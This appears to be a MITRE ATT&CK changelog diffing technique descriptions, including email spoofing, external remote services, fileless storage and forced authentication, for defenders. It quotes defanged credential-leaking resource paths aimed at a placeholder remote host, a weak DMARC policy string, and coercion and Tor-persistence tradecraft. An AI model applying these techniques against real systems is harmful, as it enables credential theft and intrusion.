descriptionAdversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. + +This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk) + +Adversaries may abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)Adversaries may fake, or spoof, a sender’s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity. + +This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk) + +Adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Barnea DirectSend', 'description': 'Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365’s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.', 'url': 'https://www.varonis.com/blog/direct-send-exploit'}

[T1190] Exploit Public-Facing Application

Current version: 2.8

Version changed from: 2.7 → 2.8

New Mitigations:

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:25.266000+00:002025-10-24 17:48:41.788000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.
x_mitre_version2.72.8
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsDon Le, Stifel Financial

[T1090.002] Proxy: External Proxy

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:38.556000+00:002025-10-24 17:48:54.165000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
x_mitre_version1.21.3

[T1133] External Remote Services

Current version: 2.5

Version changed from: 2.4 → 2.5

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may leverage external-facing remote services to t1Adversaries may leverage external-facing remote services to 
>initially access and/or persist within a network. Remote ser>initially access and/or persist within a network. Remote ser
>vices such as VPNs, Citrix, and other access mechanisms allo>vices such as VPNs, Citrix, and other access mechanisms allo
>w users to connect to internal enterprise network resources >w users to connect to internal enterprise network resources 
>from external locations. There are often remote service gate>from external locations. There are often remote service gate
>ways that manage connections and credential authentication f>ways that manage connections and credential authentication f
>or these services. Services such as [Windows Remote Manageme>or these services. Services such as [Windows Remote Manageme
>nt](https://attack.mitre.org/techniques/T1021/006) and [VNC]>nt](https://attack.mitre.org/techniques/T1021/006) and [VNC]
>(https://attack.mitre.org/techniques/T1021/005) can also be >(https://attack.mitre.org/techniques/T1021/005) can also be 
>used externally.(Citation: MacOS VNC software for Remote Des>used externally.(Citation: MacOS VNC software for Remote Des
>ktop)  Access to [Valid Accounts](https://attack.mitre.org/t>ktop)  Access to [Valid Accounts](https://attack.mitre.org/t
>echniques/T1078) to use the service is often a requirement, >echniques/T1078) to use the service is often a requirement, 
>which could be obtained through credential pharming or by ob>which could be obtained through credential pharming or by ob
>taining the credentials from users after compromising the en>taining the credentials from users after compromising the en
>terprise network.(Citation: Volexity Virtual Private Keylogg>terprise network.(Citation: Volexity Virtual Private Keylogg
>ing) Access to remote services may be used as a redundant or>ing) Access to remote services may be used as a redundant or
> persistent access mechanism during an operation.  Access ma> persistent access mechanism during an operation.  Access ma
>y also be gained through an exposed service that doesn’t req>y also be gained through an exposed service that doesn’t req
>uire authentication. In containerized environments, this may>uire authentication. In containerized environments, this may
> include an exposed Docker API, Kubernetes API server, kubel> include an exposed Docker API, Kubernetes API server, kubel
>et, or web application such as the Kubernetes dashboard.(Cit>et, or web application such as the Kubernetes dashboard.(Cit
>ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 >ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 
>Hildegard Malware)>Hildegard Malware)  Adversaries may also establish persisten
 >ce on network by configuring a Tor hidden service on a compr
 >omised system. Adversaries may utilize the tool `ShadowLink`
 > to facilitate the installation and configuration of the Tor
 > hidden service. Tor hidden service is then accessible via t
 >he Tor network because `ShadowLink` sets up a .onion address
 > on the compromised system. `ShadowLink` may be used to forw
 >ard any inbound connections to RDP, allowing the adversaries
 > to have remote access.(Citation: The BadPilot campaign) Adv
 >ersaries may get `ShadowLink` to persist on a system by masq
 >uerading it as an MS Defender application.(Citation: Russian
 > threat actors dig in, prepare to seize on war fatigue)

New Mitigations:

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Metadata', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:34:58.667000+00:002025-10-24 17:48:24.982000+00:00
descriptionAdversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) + +Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. + +Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) + +Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. + +Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) + +Adversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionFollow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. + +When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
x_mitre_version2.42.5
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Russian threat actors dig in, prepare to seize on war fatigue', 'description': 'Microsoft Threat Intelligence. (2023, December 7). Russian threat actors dig in, prepare to seize on war fatigue. Retrieved June 18, 2025.', 'url': 'https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/russian-threat-actors-dig-in-prepare-to-seize-on-war-fatigue'}
external_references{'source_name': 'The BadPilot campaign', 'description': 'Microsoft Threat Intelligence. (2025, February 12). The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation. Retrieved June 18, 2025.', 'url': 'https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/?ref=thestack.technology'}
x_mitre_contributorsLiran Ravich, CardinalOps

[T1071.002] Application Layer Protocol: File Transfer Protocols

Current version: 1.4

Version changed from: 1.3 → 1.4

New Mitigations:

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Don Le, Stifel Financial']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:52.946000+00:002025-10-24 17:49:08.302000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)
x_mitre_version1.31.4

[T1027.011] Obfuscated Files or Information: Fileless Storage

Current version: 2.1

Version changed from: 2.0 → 2.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may store data in "fileless" formats to conceal t1Adversaries may store data in "fileless" formats to conceal 
>malicious activity from defenses. Fileless storage can be br>malicious activity from defenses. Fileless storage can be br
>oadly defined as any format other than a file. Common exampl>oadly defined as any format other than a file. Common exampl
>es of non-volatile fileless storage in Windows systems inclu>es of non-volatile fileless storage in Windows systems inclu
>de the Windows Registry, event logs, or WMI repository.(Cita>de the Windows Registry, event logs, or WMI repository.(Cita
>tion: Microsoft Fileless)(Citation: SecureList Fileless) In >tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha
>Linux systems, shared memory directories such as `/dev/shm`,>red memory directories on Linux systems (`/dev/shm`, `/run/s
> `/run/shm`, `/var/run`, and `/var/lock` may also be conside>hm`, `/var/run`, and `/var/lock`) and volatile directories o
>red fileless storage, as files written to these directories >n Network Devices (`/tmp` and `/volatile`) may also be consi
>are mapped directly to RAM and not stored on the disk.(Citat>dered fileless storage, as files written to these directorie
>ion: Elastic Binary Executed from Shared Memory Directory)(C>s are mapped directly to RAM and not stored on the disk.(Cit
>itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma>ation: Elastic Binary Executed from Shared Memory Directory)
>lware 2024)  Similar to fileless in-memory behaviors such as>(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik 
> [Reflective Code Loading](https://attack.mitre.org/techniqu>Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC
>es/T1620) and [Process Injection](https://attack.mitre.org/t>O Nexus 900 Config).  Similar to fileless in-memory behavior
>echniques/T1055), fileless data storage may remain undetecte>s such as [Reflective Code Loading](https://attack.mitre.org
>d by anti-virus and other endpoint security tools that can o>/techniques/T1620) and [Process Injection](https://attack.mi
>nly access specific file formats from disk storage. Leveragi>tre.org/techniques/T1055), fileless data storage may remain 
>ng fileless storage may also allow adversaries to bypass the>undetected by anti-virus and other endpoint security tools t
> protections offered by read-only file systems in Linux.(Cit>hat can only access specific file formats from disk storage.
>ation: Sysdig Fileless Malware 23022)  Adversaries may use f> Leveraging fileless storage may also allow adversaries to b
>ileless storage to conceal various types of stored data, inc>ypass the protections offered by read-only file systems in L
>luding payloads/shellcode (potentially being used as part of>inux.(Citation: Sysdig Fileless Malware 23022)  Adversaries 
> [Persistence](https://attack.mitre.org/tactics/TA0003)) and>may use fileless storage to conceal various types of stored 
> collected data not yet exfiltrated from the victim (e.g., [>data, including payloads/shellcode (potentially being used a
>Local Data Staging](https://attack.mitre.org/techniques/T107>s part of [Persistence](https://attack.mitre.org/tactics/TA0
>4/001)). Adversaries also often encrypt, encode, splice, or >003)) and collected data not yet exfiltrated from the victim
>otherwise obfuscate this fileless data when stored.  Some fo> (e.g., [Local Data Staging](https://attack.mitre.org/techni
>rms of fileless storage activity may indirectly create artif>ques/T1074/001)). Adversaries also often encrypt, encode, sp
>acts in the file system, but in central and otherwise diffic>lice, or otherwise obfuscate this fileless data when stored.
>ult to inspect formats such as the WMI (e.g., `%SystemRoot%\>   Some forms of fileless storage activity may indirectly cr
>System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\>eate artifacts in the file system, but in central and otherw
>System32\Config`) physical files.(Citation: Microsoft Filele>ise difficult to inspect formats such as the WMI (e.g., `%Sy
>ss) >stemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%Sy
 >stemRoot%\System32\Config`) physical files.(Citation: Micros
 >oft Fileless) 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Creation', 'WMI: WMI Creation', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:35:48.121000+00:002025-06-05 15:30:20.139000+00:00
descriptionAdversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024) + +Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) + +Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. + +Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless) Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config). + +Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022) + +Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. + +Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g., `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless)
x_mitre_version2.02.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Bitsight 7777 Botnet', 'description': 'Batista, João. Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.', 'url': 'https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet'}
external_references{'source_name': 'CISCO Nexus 900 Config', 'description': 'CISCO. (2021, September 14). Cisco Nexus 9000 Series NX-OS Fundamentals Configuration Guide, Release 7.x. Retrieved June 5, 2025.', 'url': 'https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/fundamentals/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x_chapter_01000.html'}

[T1187] Forced Authentication

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may gather credential material by invoking or fot1Adversaries may gather credential material by invoking or fo
>rcing a user to automatically provide authentication informa>rcing a user to automatically provide authentication informa
>tion through a mechanism in which they can intercept.  The S>tion through a mechanism in which they can intercept.  The S
>erver Message Block (SMB) protocol is commonly used in Windo>erver Message Block (SMB) protocol is commonly used in Windo
>ws networks for authentication and communication between sys>ws networks for authentication and communication between sys
>tems for access to resources and file sharing. When a Window>tems for access to resources and file sharing. When a Window
>s system attempts to connect to an SMB resource it will auto>s system attempts to connect to an SMB resource it will auto
>matically attempt to authenticate and send credential inform>matically attempt to authenticate and send credential inform
>ation for the current user to the remote system. (Citation: >ation for the current user to the remote system.(Citation: W
>Wikipedia Server Message Block) This behavior is typical in >ikipedia Server Message Block) This behavior is typical in e
>enterprise environments so that users do not need to enter c>nterprise environments so that users do not need to enter cr
>redentials to access network resources.  Web Distributed Aut>edentials to access network resources.  Web Distributed Auth
>horing and Versioning (WebDAV) is also typically used by Win>oring and Versioning (WebDAV) is also typically used by Wind
>dows systems as a backup protocol when SMB is blocked or fai>ows systems as a backup protocol when SMB is blocked or fail
>ls. WebDAV is an extension of HTTP and will typically operat>s. WebDAV is an extension of HTTP and will typically operate
>e over TCP ports 80 and 443. (Citation: Didier Stevens WebDA> over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV 
>V Traffic) (Citation: Microsoft Managing WebDAV Security)  A>Traffic)(Citation: Microsoft Managing WebDAV Security)  Adve
>dversaries may take advantage of this behavior to gain acces>rsaries may take advantage of this behavior to gain access t
>s to user account hashes through forced SMB/WebDAV authentic>o user account hashes through forced SMB/WebDAV authenticati
>ation. An adversary can send an attachment to a user through>on. An adversary can send an attachment to a user through sp
> spearphishing that contains a resource link to an external >earphishing that contains a resource link to an external ser
>server controlled by the adversary (i.e. [Template Injection>ver controlled by the adversary  (i.e. [Template Injection](
>](https://attack.mitre.org/techniques/T1221)), or place a sp>https://attack.mitre.org/techniques/T1221)), or place a spec
>ecially crafted file on navigation path for privileged accou>ially crafted file on navigation path for privileged account
>nts (e.g. .SCF file placed on desktop) or on a publicly acce>s (e.g. .SCF file placed on desktop) or on a publicly access
>ssible share to be accessed by victim(s). When the user's sy>ible share to be accessed by victim(s). When the user's syst
>stem accesses the untrusted resource it will attempt authent>em accesses the untrusted resource, it will attempt authenti
>ication and send information, including the user's hashed cr>cation and send information, including the user's hashed cre
>edentials, over SMB to the adversary controlled server. (Cit>dentials, over SMB to the adversary-controlled server.(Citat
>ation: GitHub Hashjacking) With access to the credential has>ion: GitHub Hashjacking) With access to the credential hash,
>h, an adversary can perform off-line [Brute Force](https://a> an adversary can perform off-line [Brute Force](https://att
>ttack.mitre.org/techniques/T1110) cracking to gain access to>ack.mitre.org/techniques/T1110) cracking to gain access to p
> plaintext credentials. (Citation: Cylance Redirect to SMB) >laintext credentials.(Citation: Cylance Redirect to SMB)  Th
> There are several different ways this can occur. (Citation:>ere are several different ways this can occur.(Citation: Osa
> Osanda Stealing NetNTLM Hashes) Some specifics from in-the->nda Stealing NetNTLM Hashes) Some specifics from in-the-wild
>wild use include:  * A spearphishing attachment containing a> use include:  * A spearphishing attachment containing a doc
> document with a resource that is automatically loaded when >ument with a resource that is automatically loaded when the 
>the document is opened (i.e. [Template Injection](https://at>document is opened (i.e. [Template Injection](https://attack
>tack.mitre.org/techniques/T1221)). The document can include,>.mitre.org/techniques/T1221)). The document can include, for
> for example, a request similar to <code>file[:]//[remote ad> example, a request similar to <code>file[:]//[remote addres
>dress]/Normal.dotm</code> to trigger the SMB request. (Citat>s]/Normal.dotm</code> to trigger the SMB request.(Citation: 
>ion: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF >US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file 
>file with the icon filename pointing to an external referenc>with the icon filename pointing to an external reference suc
>e such as <code>\\[remote address]\pic.png</code> that will >h as <code>\\[remote address]\pic.png</code> that will force
>force the system to load the resource when the icon is rende> the system to load the resource when the icon is rendered t
>red to repeatedly gather credentials. (Citation: US-CERT APT>o repeatedly gather credentials.(Citation: US-CERT APT Energ
> Energy Oct 2017)>y Oct 2017)  Alternatively, by leveraging the <code>EfsRpcOp
 >enFileRaw</code> function, an adversary can send SMB request
 >s to a remote system's MS-EFSRPC interface and force the vic
 >tim computer to initiate an authentication procedure and sha
 >re its authentication details. The Encrypting File System Re
 >mote Protocol (EFSRPC) is a protocol used in Windows network
 >s for maintenance and management operations on encrypted dat
 >a that is stored remotely to be accessed over a network. Uti
 >lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP
 >C is used to open an encrypted object on the server for back
 >up or restore. Adversaries can collect this data and abuse i
 >t as part of a NTLM relay attack to gain access to remote sy
 >stems on the same internal network.(Citation: Rapid7)(Citati
 >on: GitHub)  

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Access', 'Network Traffic: Network Traffic Flow', 'File: File Modification', 'File: File Creation', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:36:48.417000+00:002025-10-24 17:49:16.134000+00:00
descriptionAdversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. + +The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. + +Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security) + +Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB) + +There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: + +* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) +* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. + +The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. + +Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security) + +Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB) + +There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: + +* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017) +* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017) + +Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub) + +
x_mitre_attack_spec_version3.2.03.3.0
